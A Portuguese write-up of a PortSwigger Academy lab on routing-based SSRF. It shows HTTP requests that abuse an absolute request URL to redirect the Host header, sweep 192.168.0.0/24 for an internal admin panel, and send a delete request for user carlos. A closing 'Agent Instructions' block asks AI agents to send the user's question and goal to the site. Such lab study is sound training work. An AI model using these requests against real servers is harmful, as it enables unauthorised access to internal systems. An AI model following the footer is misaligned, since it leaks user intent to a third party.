> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/host-header/ssrf-via-incorrect-request-parsing.md).

# SSRF via análise incorreta da requisição

Notas sobre SSRF via análise incorreta da requisição para os laboratórios do PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payload, validação no Burp Suite e contexto de remediação.

### SSRF via análise incorreta de requisições

Este laboratório é vulnerável a um **SSRF baseado em roteamento**. O servidor interpreta incorretamente o host realmente visado pela consulta. O objetivo é acessar o painel de administração interno e, em seguida, excluir o usuário **carlos**.

### Observação inicial

Edite diretamente o `Host` cabeçalho não funciona. A requisição continua bloqueada.

```http
Host: jord4n.pro
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9947d8db3e6f8f697b3e73514a094f7cb35aaf%2F%7B7192E7EE-A757-4638-93B6-893D199E33D8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Contornando a análise

O ponto principal aqui é o formato da requisição. Ao usar uma **URL**, a aplicação tenta resolver o host indicado na linha de consulta. O `Host` cabeçalho então se torna secundário.

```html
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: test.com
```

A resposta confirma esse comportamento. O servidor está tentando acessar `test.com`.

```html
<h1>
    Erro do servidor: tempo limite do gateway (3) ao conectar-se a test.com
</h1>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b48a3ee6081de71fdd13d53423f6c91a215fe786%2F%7BA17BCF4B-3432-416A-8F3D-00F5541A022F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Descoberta do host interno

Agora podemos varrer o `192.168.0.0/24` intervalo. A maneira mais simples é usar **Intruder** no último byte.

```http
GET https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/ HTTP/2
Host: 192.168.0.X
```

O `192.168.0.92` endereço responde com `302` código. Essa resposta indica a presença do painel de administração.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b0660fe2fe55839babdcb18a7ab14f28760ff2bc%2F%7B63A701A1-3BC9-49C8-847A-F7B415248FF7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Remoção do usuário

Após identificar o host interno, abrimos `/admin`. Em seguida, recuperamos o token CSRF da página. Basta enviar a solicitação de exclusão ao host interno.

```http
POST https://0a4600ce03a5ed7982aa3e3c00050023.web-security-academy.net/admin/delete HTTP/2
Host: 192.168.0.92

csrf=Rrh5bY7GRvuOjDW1nTUWrIjaqAdlTvtW&username=carlos
```

A remoção de **carlos** valida o laboratório.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e6bd4a9cbe98ed1dcd7af8f404a90e40eefadc6%2F%7B0CC2D30A-8DF9-4A1C-B87C-A3D10581891C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/host-header/ssrf-via-incorrect-request-parsing.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
